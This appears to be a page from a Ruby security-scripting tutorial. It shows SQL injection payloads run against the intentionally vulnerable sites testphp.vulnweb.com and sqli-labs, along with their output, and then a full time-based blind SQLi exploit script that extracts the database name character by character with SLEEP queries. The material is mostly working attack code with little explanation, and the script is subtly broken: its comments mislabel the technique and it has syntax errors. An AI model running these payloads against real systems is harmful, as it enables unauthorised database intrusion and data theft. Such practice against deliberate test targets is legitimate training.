SQL Injection Scanner

    1. ruby sqli-basic.rb "testphp.vulnweb.com" "-1 UNION ALL SELECT NULL,NULL,NULL,NULL#" | grep -i -e warning -e error
    2. # => Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62
    4. ruby sqli-basic.rb "testphp.vulnweb.com" "-1 UNION ALL SELECT NULL,NULL,NULL#" | grep -i -e warning -e error
    5. # => 
    7. ruby sqli-basic.rb "testphp.vulnweb.com" "-1 UNION ALL SELECT NULL,@@VERSION,NULL#"
    8. # => artist: 5.1.73-0ubuntu0.10.04.1
    10. ruby sqli-basic.rb "testphp.vulnweb.com" "-1 UNION ALL SELECT NULL,GROUP_CONCAT(table_name),NULL FROM information_schema.tables#" 
    11. # => artist: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVIL

    Here a very basic and simple SQL-injection solid scanner, develop it as far as you can!

    Results

    1. ruby sqli.rb http://testasp.vulnweb.com/showforum.asp?id=0
    2. [+] The http://testphp.vulnweb.com/artists.php?artist=1' is vulnerable!

    A Time-based SQLi exploit for sqli-labs vulnerable application.

    1. #!/usr/bin/env ruby
    2. # Boolean-based SQLi exploit
    3. # Sabri Saleh | @KINGSABRI
    4. #
    5. require 'open-uri'
    7. if ARGV.size < 1
    8.   puts "[+] ruby #{__FILE__} <IP ADDRESS>"
    9.   exit 0
    10.   host = ARGV[0]
    13. # Just colorizing outputs
    14. class String
    15.   def red; colorize(self, "\e[1m\e[31m"); end
    16.   def green; colorize(self, "\e[1m\e[32m"); end
    17.   def bold; colorize(self, "\e[1m"); end
    18.   def colorize(text, color_code)  "#{color_code}#{text}\e[0m" end
    19. end
    21. # SQL injection
    22. def send_tbsqli(url, query, time2wait)
    23.   begin
    24.     start_time = Time.now
    25.     response = open(URI.parse( URI.encode("#{url}#{query}") ))
    26.     end_time   = Time.now
    27.     howlong    = end_time - start_time
    29.     if howlong >= time2wait
    30.       return 1 # TRUE
    31.     end
    33.   rescue Exception => e
    34.     puts "[!] Failed to SQL inject #{e}".red 
    36. end
    38. url = "http://#{host}/sqli-labs/Less-10/index.php?id="
    40. puts "[*] Start Sending Boolean-based SQLi".bold
    41. time2wait = 5
    42. extracted = []
    43. (1..76).map do |position| 
    44.   (32..126).map do |char|
    45.      puts "[*] Brute-forcing on Position: ".bold + "#{position}".green + " | ".bold + "Character: ".bold + "#{char} = #{char.chr}".green
    47.      # Put your query here 
    48.      query = "1\" AND IF((ASCII(SUBSTR((SELECT DATABASE()),#{position},1)))=#{char}, SLEEP(#{time2wait}), NULL)--+"
    50.      result = send_tbsqli(url, query, time2wait)
    51.          if result.eql? 1
    52.            puts "[+] Found character: ".bold + "#{char.to_s(16)} hex".green
    54.            extracted <<  char.chr
    55.            puts "[+] Extracted characters: ".bold + "#{extracted.join}".green
    56.            break 
    57.          end
    58.    end
    59. end
    60. puts "\n\n[+] Final found string: ".bold + "#{extracted.join}".green